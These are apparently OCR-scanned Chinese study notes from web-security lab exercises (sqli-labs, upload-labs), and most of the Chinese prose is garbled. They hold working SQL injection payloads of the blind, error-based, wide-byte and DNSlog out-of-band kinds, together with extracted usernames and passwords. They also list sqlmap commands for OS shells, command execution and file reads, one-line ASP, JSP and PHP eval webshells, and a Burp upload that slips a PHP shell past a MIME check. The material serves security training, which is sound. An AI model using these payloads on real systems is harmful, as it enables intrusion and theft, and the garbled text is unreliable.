REUE— LK E, UAl" and Tength((select geolumfrname from
information_schema.columns where table_name=“emai’s'¢and table_schema=database()
Timit 0,1))<10--+F, T [E]E IE 5 15 Lo AL DaiH 25 =21 2 K2/ 110

SRR A IKE, M5AL" and Tength((select column_name from
information_schema.columns where ¢table_hame='emails' and table_schema=database
Timit 1,1))<9--+HF, BT a5 5 175 00 Tah s 0 3 BH 28 — N F1 42 i K /-9

Welcome
You are in...........

s Network Perfor B1 @ X
LOAD - SPLIT  EXECUTE TEST~  SQLI~

ENCODING -  HASHING ~  CUSTOM ~ MODE - THEME ~

URL

http://127.0.0.1/sqli-labs/Less-8/?id=1" and length((select column_name from information_schema.columns where table_name='emails’

and table_schema=database() limit ,1))<10--+

@™ Use POST method MODIFY HEADER

Name vae
Upgrade-Insecure-Requests -1 52
Name value

User-Agent ~ Mozilla/5.0 (Windows NT 10.8; Win64; x64) A X

Name Value



Welcome
You are in...........

R [0 | Eeme nsole Network Performance Memory  Application  Lighthouse = 21® i X

LOAD ~ SPLIT  EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~  SSTI~  SHEI ENCODING - HASHING - CUSTOM ~ MODE - THEME ~
URL

http://127.0.0.1/sqli-1labs/Less-8/2id=1" and length((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit 1,1))<9--+

@® Use POST method MODIFY HEADER
Name vaive
Upgrade-Insecure-Requests -1 x
Name Value
User-Agent ~ Mozilla/5.@ (Windows NT 16.8; Win6d; x64) A X

Name Value

(3) KB
EF(EFAsubstriRETHIMEREL, RRERTLAERIERYasciiREmH TAIRT

KRB — NIRRT, AA1l" and ascii(substr((select column_nane from
infaormatien_schema.columns where table_name='emails' and tabde_&chema=database()
Timith0, ) ,1,1))>100--+H], BT B &G 1E 5 15 TCH A I 3o B 25— 510 22 0 S IR AP ASCI ThY KT
100

REUE DN E AN, ALl and ascii(ubstr((select column_name from
information_schema.columns where table_name='emails' and table_schema=database
Timit 0,1),2,1))<110--+}, BT[] &5 1E 5 5 Ol I Te R NeE S8 — 451 42 1028 — AN 2R IASCITRY /N
110

IR A sub s tr e FE R AR L 4 o7 L 21 7T — 25 SR HL B Al B Ji2 B ] 2 82453151 44
TR L4, AT EBTimi i dar HET

Welcome
You are in...........

IR [0 | EHements nsole. Network Perfa 81

LOAD -~ SPLIT  EXECUTE TEST-  SQLI~ XSS~ LFI~ SSRF~ SSTI~  SHELL-  ENCODING -~  HASHING -  CUSTOM -~ MODE - THEME ~

URL

http://127.0.8.1/sqli-1labs/Less-8/2id=1" and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit ©,1),1,1))>180--+

@™ Use POST method MODIFY HEADER
Name
Upgrade-Insecure-Requests

Name

vai
User-Agent ~ Mozilla/5.8 (Windows NT 16.0; Win64; x64) A X




Welcome
You are in...........

K 8 | Eleme twork
LOAD -~ SPLIT  EXECUTE TEST-  SQLI~ - - SSRF~  SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM - MODE - THEME ~
URL

http://127.0.8.1/sqli-1labs/Less-8/2id=1" and ascii(substr((select column_name from information_schema.columns where table_name='emails' and table_schema=database() limit ©,1),2,1))<110--+

@™ Use POST method MODIFY HEADER

Name

Upgrade-Insecure-Requests

Name Value

User-Agent ~ Mozilla/5.8 (Windows NT 10.0; Win6d; x64) A X

2. WESEFE
EANNRETARE T

EEEARBEEE: BFUmSBEUINEE, AT EBRENNGEHTHRT, XEEERE
sleep()ERECRH{THIMT, sleep()EREEEF =L T—EIEERIAIE., —ARAER1 ahd'sleep(n). 1'and
sleep(n)’ #HITFINT, nAE(ZLERYRTE, LARDAEA(

Rig:

M N1 and sleep (3)H}, T Th i B i) A] A5 ZEiR

2EINL" and sleep(3)--+F, T RL [ KMEER T 300058 (9551350 , BEHIEER A AT T
sleepiff), KFULATARIEAA/ESQLIEAN

8 Burp Project Intruder Repeater View Help Burp S ssional v20: porary Project - by jirr - =
®Dashboard @ Target  ®Proxy  Bintruder 4 Repeater Collaborator ~ [iSequencer  *=Decoder  @Comparer ~ Blogger  ®Organizer & Extensions  Learn HaE O Search {5} Settings

Hunter Knife xiaLiao Cus C nizer AutoRepeater

Target: http://127.0.0.1

Inspector mom
Response
Request attributes
HTTP/1.1 o1 2 S i Requ
Not_A Brar 2 / 2) Ope 0 5 Request body parameters
sec—ch-ua-platform: “Wir 5| Content-Length e
6 Accept-Language: 7l 9 6 Keep-Alive: t 00

Connection
Content-Type

TR/xhtml1/DTD/x

0 highlights 0 highlights

ent log (3)° All issues (4)°

RNE MR, HEEETFA/RET—EH, REXFIETIEN SifQX M RECRHETHYT, B Emet
[EISRAfFSER R IERLAN EIR

ERIFFAFIRTNER. 1EE: if(expri,expr2,expr3). BAKHAEWN R expr1 Iz iTexpr2, BN
HifTexpr3

<51

SREUEBHIKE



M AN1" and if(length(database())=8,sleep(3),1)--+if, TIMEIR S SR8, [Kbw] BL%niE
Tength(database ())=8%%M/ar, JirA s e 4 K A8

SN STEE —expr1H

9 frexpr2il’5 xR s 1eeph [H

B =Afrexpr3fifHiHs

FH UL A AT DAAS S0 28 —fzexp r LAIWT s Th s 2 3E 1T exp r2 Hhft) s Teep AT

Welcome
You are in...........

JLI DUMB SERIES-S

equestly

FienER
BAREFHE Enter SEITEE

7R | Bf68332k8 | 3273 TR | SRR 927 | DOMC 3108 | IERIA: 3128

RT LR EFexpr I EHI TERMENED

3IREEIEN

REENSSQUENN—F, WH ERBERMU, ELSRHSQUEAHITIEIRGEER. RIEEENMEFIH
EUERERORLANS], ANMHIERRFY, REENEREBHIERREE . XMFREKSES
ZREEaIREFBSEEREER, KREBRNSHHEREEERIR NEAER LR

FI8: HTFHAAEARERAERIERT print_r(Q , mysql_error(), mysqli_connect_error()
BREUEmysqligiRE M Bang, ERLAASER— S e RECREIEREEE, NAEERE
EEHEFENER

IREEHENEEN. Mhaysql5. 1 STHAREFE N FXMIESFHEXHIREL, BIXMLEEEHTIREE, kit
TEN

SE—MEREL: updatexml() : iBi%: updatexml(XML_document, XPath_string,;new_value), &—1
S

xmISREEIEIR, FNSE: xpathiBUNFHRIER, B=S80 \BREREINMEFUEUE

SE/EAEY: extractvalue() : iEX: extractValue(xml(frag, xpath_expr), S—1EE: BirxmIX
B, BINSE: XpathBBREFRTHIEKIER.

XpathEEWR B, BUSKERR, Bl IR B MIERETAEEREIE

(1) HABRRSEEFEEAN


af://n227

WA, NEESRE, AN, REHIKEERRBEFERR

Welcome
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near *1" LIMIT 0,1 at line 1

QLI DUMB SERIES-5

K [0 7ok BWe BREKR W& M5 A% B BRSE2  lghthowse GRS HackBar ¥ Requestly 21 @ ox
LOAD ~ SPLIT  EXECUTE TEST~ SQUI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~  ENCODING -  HASHING ~  CUSTOM - MODE ~  THEME ~
URL

http://127.0.8.1/sql/Less-5/?id=1"

@™ Use POST method MODIFY HEADER

Name Vaiue
Upgrade-Insecure-Requests -1 x

Value

~ Mozilla/5.8 (Windows NT 10.8; Win64; x64) A X

Name

FAT and 1=1, 1 and 2801 and '"1'="1, 1" and "1'="2XHFENRELHITHIRT

(2) IRENEERER

EREMATUNoNEXEEIENT LUK AT HETEN, AEEXKERZ0, LTSS TRERY
REERERRIEEN

EEL L

1. WaiefExpathS BARR IR R, mysqlA s, Rk DI~ 1613EH|0x7e kKR .
2. xpathZ—ME, H 7TRREASA e fdsmsE, prihol UIH doncat O s ~F 1 CARVE
B TP . concat(strl,str2,str3,..) wllstrl, str2, str3sEs /7 LahtEitsk.
3. xpath A &HREE321MF4 .

BIN1' and updatexml(1,concat(0x7e,database()),1)--+, IRENEIEUREER: security

Welcome
XPATH syntax error: '~security"

} SERIES-5

K [0 7R BMe BRERE U5 BE PBF S8 BASES  lghthoue DRE HackBar X Requestly BB X

LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~  SHELL- ENCODING -~  HASHING -  CUSTOM - MODE ~  THEME ~

R
http://127.0.8.1/sq1/Less-5/2id=1" and updatexml(1,concat(8x7e,database()),1)--+

@™ Use POST method MODIFY HEADER

Name
M upgrade-Insecure-Requests x

-Agent a/5.0 (Windows NT 10.8; Win64; x64) A X

~ text/html,application/xhtml+xml,application X

concat()REUERRIHZ N S80EE, Hlalconcat(1,2,3) > HiHEN : 123



AT A B A ) 1 B B ) 2

1. EsemaiEssR L updatexm]l (XML_document, XPath_string, new_walue), FAiTwZife
XPath_stringix M i ExpathE M FF/F, HEMERIER N Rxpathi& N FRFH, me
FRARAS, FRLLEAEAE K T updatexm] (1, database () ,1), AifE M LEREMEETHAL, HER L=
e =18

2. HiFxpath R &XHe kAT IAE, X BN UUA~RK16 2 HI0x7e k£ xR, ALl T
updatexml(1,0x7edatabase(),1), {H2H THdEFTRFNRFRIKAZE, BrLat oz miidT, Frblal
DI concat O B Z N FRF R A FF M —AS, A8k T updatexml (1, concat(0x7e,database ,1

(3) FRENEHEEEPRE

BIN1' and updatexml(1,dencat(0x7e, (select group_concat(table_name) from
information_schema.tabTés where table_schema='security')),1)--+ BRINFRENZEIZRSZ:
emails,referers,uagents,users

Welcome
XPATH syntax error: '~emails referers,uagents,users’

TMB SERIES-5

K [0 7F BHe BREKE RS HE AT N8 BISRE  lighthouse BR®  HackBar % Requestly B @ i X
LOAD ~ SPLIT EXECUTE TEST ~ sqLl ~ XSS ~ LFl v SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

URL
http://127.8.8.1/sql/Less-5/2id=1" and updatexml(1,concat(8x7e, (select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

@™ Use POST method MODIFY HEADER
Na
Upgrade-TInsecure-Requests - x

User-Agent - a/5.0 (Windows NT 16.0; Win64; x64) A X

Name

AT 2 TR A 4D SN B SRR ?
1. BNconcat(), FAIARVFAEME, Bl &S HERITERB 1 BE

2. fHiFconcatO) BT ILK 24T &I N—1T, select group_concat(table_name) from
information_schema.tabTes  where table_schema='security' iEf)<iREIZAT, FrLLA] LidlH
group_conat () iR EEZ AT BN —1T

WRFIBEBZHKER, (BREA xpath RBRHIRZ R G320 =/ LEHEFTEEEE Esubstr()
VG
32137, FMERIAI32FHIREEN32(ENATBHEREA. thal:

1' and updatexml(1l,concat(0x7e,substr((select graup_concat(table_name) from
information_schema.tables where table_schema="'gecurity'),1,32)),1)%23

(4) FKEEPRIFERS
flF1:



HEemailsEHHIFZE4, %Al' and updatexml(l,concat(0x7e, (select
group_concat(column_name) from information_schema.columns where
table_name='emails' and table_schema='security')),1l)--+

Welcome
XPATH syntax error: '~id,email_id"

SERIES-5

R [0 =E BHs BABRE RE #E AF W8 BUSRS  lghthowse TRE  HackBar X Requestly B @ @ X
LOAD ~ SPLIT EXECUTE TEST ~ sqQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

URL

http://127.0.8.1/sql/Less-5/?id=1" and updatexml(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns where table_name='emails’ and table_schema='security’)),1)--+

@™ Use POST method MODIFY HEADER

Name Vaiue
Upgrade-Insecure-Requests -1 x
Name Value

User-Agent ~ Mozilla/5.8 (Windows NT 10.@; Win6d; x64) A X

flF2:

FMusersgE 74, 1' and updatexml(1,concat(0x7e, (select
group_concat(column_name) from information_schema.columns where
table_name='users' and table_schema='security')),1l)--+

Welcome
XPATH syntax error: '~id,usernam

QLI DUMS SERIES-5

K [0 7 ©¥e BREARE S 42 AF B8 BUSRE  lghthowse GRS HackBar % Requestly B @ o x

LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING ~  HASHING -  CUSTOM -~ MODE - THEME ~

URL

http://127.8.8.1/sql/Less-5/?id=1" and updatexml(1,concat(@x7e, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security’)),1)--+

@™ Use POST method MODIFY HEADER

Name

Upgrade-Insecure-Requests

(5) KEZEARATICH
flF1:

FHBlusersEHidsk, AL' and updatexml(1l,concat(0x7e, ¢select
group_concat(id,username,password) from users)),dw-+



Welcome
XPATH syntax error: '~1DumbDumb,2Angelinal-kill-you,3*

SERIES-5

® [0 7k Bee BRERE RS BE AT W8 BUSRS  lghthowe BRE  HackBar % Requestly B1 @ i x

LOAD ~ SPLIT  EXECUTE TEST~ SQUI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING -  HASHING ~  CUSTOM - MODE ~  THEME ~
URL
http://127.0.8.1/sql/Less-5/?id=1" and updatexml(1,concat(8x7e, (select group_concat(id,username,password) from users)),1)--+
@™ Use POST method MODIFY HEADER
-Insecure-Requests - x

-Agent - a/5.0 (Windows NT 10.8; Win6d; x64) A X

flF2:

SREE T Zdat, BiAl' and updatexml(1,concat(0x7e,substr((select
group_concat(id,username,password) from users),32,32)),1)--+

XPATH syntax

K [0 7F 2He BRE/KE RE #8 AF KB BIRSE2  lghthous BB HackBar % Requestly B @ i X

LOAD ~ SPLIT EXECUTE TEST- SQLI~ XSS~ LFl~ SSRF~ SSTI~  SHELL~  ENCODING -  HASHING -  CUSTOM -~ MODE ~  THEME ~

http://127.0.0.1/sql/Less-5/?id=1" and updatexml(1,concat(8x7e,substr((select group_concat(id,username,password) from users),32,32)),1)--+

@™ Use POST method MODIFY HEADER

Upgrade-Insecure-Requests -1 X

Neme Value
User-Agent ~ Mozilla/5.0 (Windows NT 10.8; Win64; x64) A X

4.BFHEN
MR- FHFRANE—NFDH, WARFD, WR—NFFFURNER N FHL, WRAREF,

%:GB2329, GBK, GB18030. BIG5, Shift JISEXLHIGEEFERINEFT, BHMERER I FH. XH
MEAG—NET, FERNED

JRIE: KRZHAIMULXTFSQLENERM T —ERIBHHF, FIanEF—%MySQLAREE M AYEREL

addslashes . mysql_real_escape_string. mysql_esc@pe_stning F(AE—FEphpElE&E X4 1Y
magic_quote_gpc i¥E, FNIPHPEIRABEBIRILINER). SHEOXEREFEN T ILIRAFBMARN—L
R, IHMFARIFRAIINERBHINHITE N, ARG SIER TR BREFHIEAGLIX LR E]

BEFTIENERIZEMYSQLERRETEERZET T, (GBK) “RISHS, SIANMNFRFE—TNXFE (FI—

asCifBEAT128 (tban%df) , ZEENFESEE)  MESHNBMA ' B, MySQLRERE X R,

BE5|1S%ZA ', EP\RIT7N#HERE5c, MySQLAIGBKYRES, SIAN%Af%S5cE— I EFT, HElE
B, NMEBSISHAE (&)  HMTENKE


af://n283

ENTRR:
(1) FBFEN
BIN1'feaddslashesiREHSG ' HTHNXZA\" | LATRIERS | SRYFAEBIIFRT

Welcome
Your Login name:Dumb
Your Password:Dumb

SQLI DUTMB SERIES-32

Hint: The Query String you input is escaped as : 1\'
The Query String you input in Hex becomes : 315¢27

R [0 7 swe BRERE RS B2 AT D8 BUSRE  lghthowe BR®  HackBar % Requestly
LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING ~  HASHING -  CUSTOM -~

URL
http://127.0.8.1/sql/Less-32/2id=1"

@ Use POST method MODIFY HEADER

Name
Upgrade-Insecure-Requests

Name

I 19%d %, ‘addslashesEREUG HITENZT A\ | AT %df%5c SHITEETHY —NXFIE,

FEILESQLEBNE A RIHHENEE T WM e THkE, MR LMERREEARIT

Welcome

Warning: mysq|_fetch_array() expects parameter 1 to be resource, boolean given in F:\Phpstudy2018\PHPTutoria\WWW\sql\Less-32\index.php on line 43
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "1€\" LIMIT 0,1' at line 1

DUMB SERIES-32

 The Query String you input is escaped as : 1@\
ng you input in Hex becomes : 31df5c27

R [0 ¥ ©Me BRERS S 42 AF B8 BUSEE  lghthouse RS HackBar %

LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING ~  HASHING -  CUSTOM -~
URL

http://127.0.0.1/sql/Less-32/2id=1%df"

@™ Use POST method MODIFY HEADER

Name
Upgrade-Insecure-Requests

BERAY " BT ERARIRRIERAYS R ENRIES

(2) FRERRZ
(e LG E NS TR AT

N ?id=1%df' and updatexml(1l,concat(0x7e,database(),0x7e),1)--+




Welcome

Warning: mysq|_fetch_array() expects parameter 1 to be resource, boolean given in F:\Phpstudy2018\PHPTutoria\WWW\sql\Less-32\index.php on line 43
XPATH syntax error: '~security~"'

SQLI DUMB SERIES-32

Hint: Th String you input is escaped as : 1\’
The Query String you input in Hex becomes : 2720616e6420757064617465786d62; 6 652c646 6 6173 3765292c31292d2d20
iR [0 7R gHe BREKRE RE B2 AF NE & [ kBar % Requestly B @ i ox

LOAD ~ SPLIT EXECUTE TEST~ SQLI~ XSS~ LFI~ SSRF~ SSTI~ SHELL~ ENCODING ~  HASHING -  CUSTOM -~ MODE ~  THEME ~

URL
http://127.8.8.1/sql/Less-32/2id=1%df" and updatexml(1,concat(8x7e,database(),0x7e),1)--+

@™ Use POST method MODIFY HEADER

Name

Upgrade-Insecure-Requests

(3) BRENEER

T 55| S#E X EEEEa PR |5, EItL REERE#RE RN table_schema="seclirity ' 35k
table_schema=(select database()) SEFKENZERZ

HANZidel1%df' and updatexml(1l,concat(0x7e, (select (group_concat(tablername))from
informatien_schema.tables where table_schema=(select database())) ,0x7e),1)--+

Welcome

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in F:\Phpstudy2018\PHPTutoria\WWW\sql\Less-32\index.php on line 43
XPATH syntax error: '~emails, referers,uagents,users~'

UMB SERIES-3 2

K[ 7o mMe BREAE RS tE A7 S8 ® hthouse i lackBar_ % Request T

iox
LOAD ~ SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~
URL

http://127.8.8.1/sq1l/Less-32/2id=1%df' and updatexml(1,concat(8x7e, (select (group_concat(table_name))from information_schema.tables where table_schema=(select database())),ex7e),1)--+

@™ Use POST method MODIFY HEADER

Name

Upgrade-Insecure-Requests &

Name Value
User-Agent ~ Mozilla/5.@ (Windows NT 10.0; Win64; x64) A X

LA SSHEH TEREE RRAISER

5.dnslogi¥A
DNSlogiE NBILZ I T :

o B, FE—NILUCRDNSIEKAIFEE, FliN: DNSLog PlatformFCallBack.Red Dns, Http,
Rmi, Ldap Log, CmdtoDNSLoglARCEYE - Monitor servige for security testingEXMNE& E,
LR — N ERBIFERE, Hlaixxx.dnslog.cn, HERABEE ZAHE FATERIDNSIEKIZHE

o e, EEME—NEARFIBEEENFESZ, flticelectidatabase().xxx.dnslog.cn, XNF15,
%_IL,U%ﬁHMySQLE’J NEEERERREHE, flflconcat, replace, substrss

o 3, BEEAMYSQLEgIoad fileREE R, it BiFRSBRDNSIRE S RBRITER, £
o, EALTES:

o select load_file(concat(\\',(select database()),.xxx.dnslog.cn/abc’));



af://n309
http://www.dnslog.cn/
https://www.callback.red/
http://ceye.io/

o XMEGLILBEFIRSGEEIXM(select database()).xxx.dnslog.en/abcaX MhEANE S 4, M
ffi A DNSHRHTIE R,
o RfE, FEMADNSIogFE LEEDNSIEKRIER, MALURBEIREERT. flan, £ LEGIF
i, WNSREUEREE Hsecurity, BRARSEEIsecurity.xxx.dnslog.cniXiFANIER

2 o ok

° BTFE—EBAIKERBEN63NFR, FRLAEMYSQLASRENEIRBIT63 M FHRIFRET, SHE(F
—MERAVER, FErEEETIE PN IR R En SR FFAREE3MAR

* HTURLHESBHNFFHIFERIR, RBEFHRFHU (), !, FRELAEBEN. XaSEoad filed
R FUFEENERERE Thexdmil, AEBER16HHIRFEMILSEARER

(1) FRFEN
BEIN (BEEARN) » 5§ (ISR RELESSSHwaff=E)

Welcome
You are in...........

 SERIES-S

K I 7% BMe BREAE RS BE A W
B x Q1Y Q 2
Q 3

FRTEER
BARTIHE Enter BEITHE

(2) IRBNEER
f55F Toad_file REERHHTEN

BIN?id=1" andwload_file(concat('\\\\', (select
database (), . u4pOca.dnslog.cn\\abc'))--+

6.SQLmapI&
FHsY:
o Hitis#:
o --version: BTMEFMASHHEH
o -h, --help: BRHBEHEEFHER
o -u:iREHBEFRURL

o -p:{EENNSE


af://n342

o -u:iEEENEAIEIERFER
o -T:HEFIRIER
o -C:IiEEENENIEIERES

o -u:iEEENERIEIEERF @
o --current-user : SKECERIAFETR

o __current-db:EM§m§&T§¢€® ° 6
o --cookie:igE cookie {H \\ ‘ \

o --dbs: 5 HEHERE \

o --tables: FIHEIEEFHIE

o --sql-She™ : #147 SQL &<

g &?ﬂﬁ%i e 4 @
\\>s—she11:'—§§2f§§§shell : \
o -r:fNEINBIERE \
o --batch: FERRIASEIHI TN
o --data=DATA:iBi¥ POST KiEEUERFFH *
o --Tevel=LEVEL : FUTMHXAIZELR (1-5, EAI)
o --risk=RIsK: HUTMIXAIXE (0-3,

© -v VERBOSE : iFZK5!: 0-6 (Eﬁlﬁg . 6
.
O --proxy=PROXY : i HTTP FB#HR URL \\
0 --user-agent:IS%E HTTP User-Agent

o --tamper=TAMPER :{ERLERIMIA (S) EXLENEE

o --random-ag %E’ﬂiﬁ*& *
e Tamper f7:

o i .$mper XXX . py @

2‘1&&per base64encode.py 00\@

A 4
o b IERENE SIS '\\

ERRH: \

3
S

1. FIBREN LR EEL:
o sqlmap -u http://www.test.php?id=1 (GET /5&;
o sqlmap -r /etc/url.txt (POST FiEFEN
2. FIREUREER (dbs): sqlmap -u "http://
3. IR (tables): sqlmap -u "http:/
4. ¥IErFIS] (columns): sqimap -u "hthww.test.php?'id=1"—D YRS -T ®% --

column
f\\

.php?id=1" --dbs

test.php?id=1" -D #EESH --tables



5. 3KBV=FER: sqimap -u "http://www.test.php?id=1" -D ¥IEFEL T %4 -C 54 --dump

iHtR{sE -

sqlmap -u
sglmap -u
sqlmap -u
sglmap -u

sqlmap -u

"http
"http
"http
"http

"http

://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=2"

://url/news?id=1"

HUEREXT R RAVFER)
sglmap -u "http://uel/news?id=1"
-dump GREXFERAZ)

sglmap -u
sqlmap -@
sqtmap,.-u
sqlmap>-u
sqimap -u
sglmap -u
sqlmap -u
sglmap -u
sgqlmap -u
sglmap -u
sglmap -u
sqimap -u
sglmap -u
sqlmap -u
sglmap -u
sqlmap -u

sgimap =u

"e:/hack. txt" (HEEHEIBIRIRSES)

"higtp
Thttp
Yhttp
"http
"http
"http
"http
"http
"http
"http
"http
"http
"http
"http
"htitp
"hetp

"http

=. WebShell

WebShell 22

2242

= -L

://urlYnews?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
://url/news?id=2"
://url/news?id=1"
://url/news?id=1"
://url/news?id=1"
1 L/ur/news?id=1"
/url/news?id=1"
://url/news?id=1"

://url/news?id=1"

--currentausen GRESFIHFBHR)
--curgentadb GREXZHRIHUEERTR)

S 0bS\IHETEEIERES)

%R "db_name" --tables (FIHISEHIBENRR)

-D "db_name" -T "tablename" --columns (FHISE

-D "db_name" -T "table_name" -C "column_name" -

--dbms "Mysq1" --users (FETEEUERFREY
--users (FIEHRZERF)

--passwords (¥IEERFED)
--sq1-shel1/--os-cmd (HUFIERE sql ©%)
--os-cmd=whoami (HUTESHS)

--os-shell (R%3ZH shell)

--dbs -o"sqFmapilog" ((RIFIHE)

—-dbs -g"sglmap.Tog" --resume (PRECAFFHE)
-—taffiper W base64encode.py" (INEHIZ)

R IMIEEEINSE)

~®dump-all (RHIZEIEEHIFTELEE)
“-proxy="http://127.0.0.1:8080" (1iEEIE)
~-delay=3 --force-ss1 (J&B¥ HTTPS [ik)
--is-dba (H¥THRIAFREAEEERIIR)
--identify-waf (IZUEEHE WAF)

--file-read "c:/test.txt" (IZEXE#RIRIS5RESLIF)

--file-write test.txt --f¥#le=dest

BEAN—TFIEEMNA, HENRRGIRSBATHTRIESIR, EHAIWebshellfwS

iE=/Masp. jspfphp. BEAENRT—IWitfE, BEFaspaphpRlIXH (Z3ZHEATLYK
WE]) SMuEiRSEEWEBE R FIEBRIMIUEHRE S, ARMALERNEERnEzE], 1§
B SHUTING, LUARIFEH M ubiRSS =AY ERY

L7


af://n481

A 4
1. ks ¢ \
®2= | fEWebshell /S, ?Jmu%ﬁ%umwwshelmg;an;f)ﬂuﬁ&m#%%%g, NTHAEH R
RS SR B Y

2. I PRIETFH *
RS SRR EEERIZAERN T, Webshell5EWEB MR FIZ(T, MAFPNIRESEIR.
BidWebshell, BEOILFIBRS LAIRERIRZES B, MIERERoR, XHEEEEAK - 4
ALAERS LUEAES, SESERY. &

3. Bkt . \

Webshel[JLABRERIEEMRFIET, BARSHKER. SREILIFMIRSSEKE, BTSHEEHN \
RSB AR EN A EAVEIERREI 80 EE, EIAMIXIEE, A CRRENER
T, Webshellﬁ}fﬁPOST@,§ ARSWICRERFATH, R%EWebE%?EPiﬂi—%%ﬁETES’\JE

i @
" &
L 4
1. 1R SO A php K5, asp KS, tBBEETF.NETRJ aspx $— Javaiy jsp K5

2 REMEARSAN, EALSHAD, I3, —DiEAD \
3 RESTHIIEE, E—tTaD, HED. NEDE

*ﬁg A
0@ WebshellfSEEMHRMEEHISEININEE £, %—Eﬁ*@%’ﬂﬁ’ﬂﬁ%ﬂi%ﬁﬁ%a UTEAEREES

H—EiERS: &
2 4
’ ASP: . \ ,’\
<%eval request("cmd")%> \ \

ASPX: @ @
<%@ Page &"Jscri pt"%><%eval (Request.Item["cmd"], "unsafe") ;%
L 4
N\ L
JSP: \ \

* <%Runtime.getRuntime() .exec(request. getParameter("c«)) ;%>

Q PHP:
N P
<?php @eval($_PoST['cmd']); 7> \\
f\A



T — A Ak, I"E: $

1. BPSERSIHESEEUEN=f7A: GET. POST. COOKIE, fREZiHBIS$GET[']. $POST[' 1.
$_COOKIE[' HEIZE iR EHET kAR

2. RS IRIRWEIEBIRZ JeIRAS R eval B THUT, Mﬁ'ﬁﬁflﬂ@?c%ﬁﬁﬁ%%ﬁ%ﬁ%ﬂ’ﬂﬁ%o

eval : R M R php B TS
4
* .

M. S L N

14 HEFI R R4S WebShel K T2 RIIR S 8809— MEHIR

AR

1.EJZIJJJ:1§SZ1¢§JH@ @
. L4

1. B0imtE
*ﬁﬁﬁﬁ"ﬂﬁiﬂﬂ—ﬂ&%&gpﬁﬁﬂu&t iéﬁ—ﬁﬁjavascriptﬁasjuw;%:zm&ﬁffﬁ;mu
@ EHTIRTS: @

0 . R NP2, RS @
X 4
’ ‘ \ 00\6


af://n530
af://n537

@ esiE (@ L= O
m B

body { EEAE
counter-rese = UEStEEE
ETws
==
I

s

-webkit-font-smoothing: antialiased;

font-fami PingFang 5C, Hiragino 5ans
GB, Arial, Microsoft YaHei, Verdana,
Roboto, Moto, Helvetica Neue, sans-
serif;

1 index.183186F5.css:1

margin: P 8;
P a;

border-box;

—. EVEEA Javascripti§HAiE L, BIRJZERjavaScript

VSRR

SHBEHBISIHTIF Deviools
BARES

=. REEH LEARSIHRIE]

2. [Eimtsin
—. MIMEXELHST

MIME (Multipurpose Internet Mail Extensions) ZfIAHE N ARENESMInE. FARERE. X
HEFHRAMERFIER. FEHTTPEIEEHECoNtent-TypeFRER


af://n548

BRI ERRS IOV EBEEIEL content-Type XNMABTER S RS ESFTEKRANEL

Request

Pretty Raw Hex Chinese
14 Sec—Fetch—Mode: navigate
15 Sec—Fetch-User: ?1
16 Sec—Fetch—Dest: document
Referer: http://127.0.0.1/upload/Pass—02/index. php
3 Accept—Encoding: gzip, deflate, br
Accept-Language:
zh—CN, zh;q=0. 9, en;q=0. 8, en—GB;q=0. 7, en-US;
20 Connection: keep—alive

WebK i tFormBoundaryxyWCALcxc7uBabvh
Content-Disposition: form-data; name="upload file";
filename="cmd. php"

4 Content-Type: application/octet—stream

{?7php @eval (§ POST['emd']) ;?>
————WebK i tFormBoundaryxyWCALcxc7uBabvh
Content—Disposition: form—data; name="submit"

WebK i tFormBoundar yxyWCALcxc7uBabvh—

<2 0 highlights

Event log (2) All issues (6)

=00 MIME ZE8Y

BCARROES Chtm] 304 text/htm]

WAl A txt X fF: text/plain
PDF 4. pdf: application/pdf
PNG 1% .png: image/png
GIFE{%.gif: image/gif
MPEG X} .mpg. .mpeg: video/mpeg

SiTHKI5
1B MIME SEBUAETESEE,

Pretty Raw Hex Chinese

15 Sec—Fetch-User: 71

16 Sec—Fetch-Dest: document

7 Referer: 127.0.0. 1/upload/Pass—02/index. php

zip, deflate, br

Accept-Language:
zh—CN, zh;q=0. 9, en;
Gonnection;

0.8, en—GB;g=0. 7, en-US ;g=0. 6
keep—alive

WebK i tFormBoundaryxyWCALcxc7uBabvh
Content—Disposition: form—data; name="upload file";
filename="cmd. php"

4 Content-Type:| image/png

{?php @eval ($§_POST['emd']);?>
————WebKitFormBoundaryxyWCALcxc7uBabvh
Content—Disposition: form—data; name="submit"

0 highlights

— R

Response

Pretty Raw Hex Render Chinese
1 HTTP/1.1 200 OK
2 Date: Mon, 26 May 2025 08:43:20 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2]
PHP/5. 4. 45
4 X-Powered-By: PHP/5. 4. 45
Content-Length: 3858
) Keep—Al ive: timeout=5,
/ Connection: Keep—Alive
3 Content-Type: text/html;charset=utf-8

max=100

<html>
<head>
<meta http—equiv="Content-Type" content="
text/html ;charset=utf-
<link rel type="im:
/upload/ img/favicon. png

icon” /x—icon" href="

<title>
up load-labs
/title>
</head>

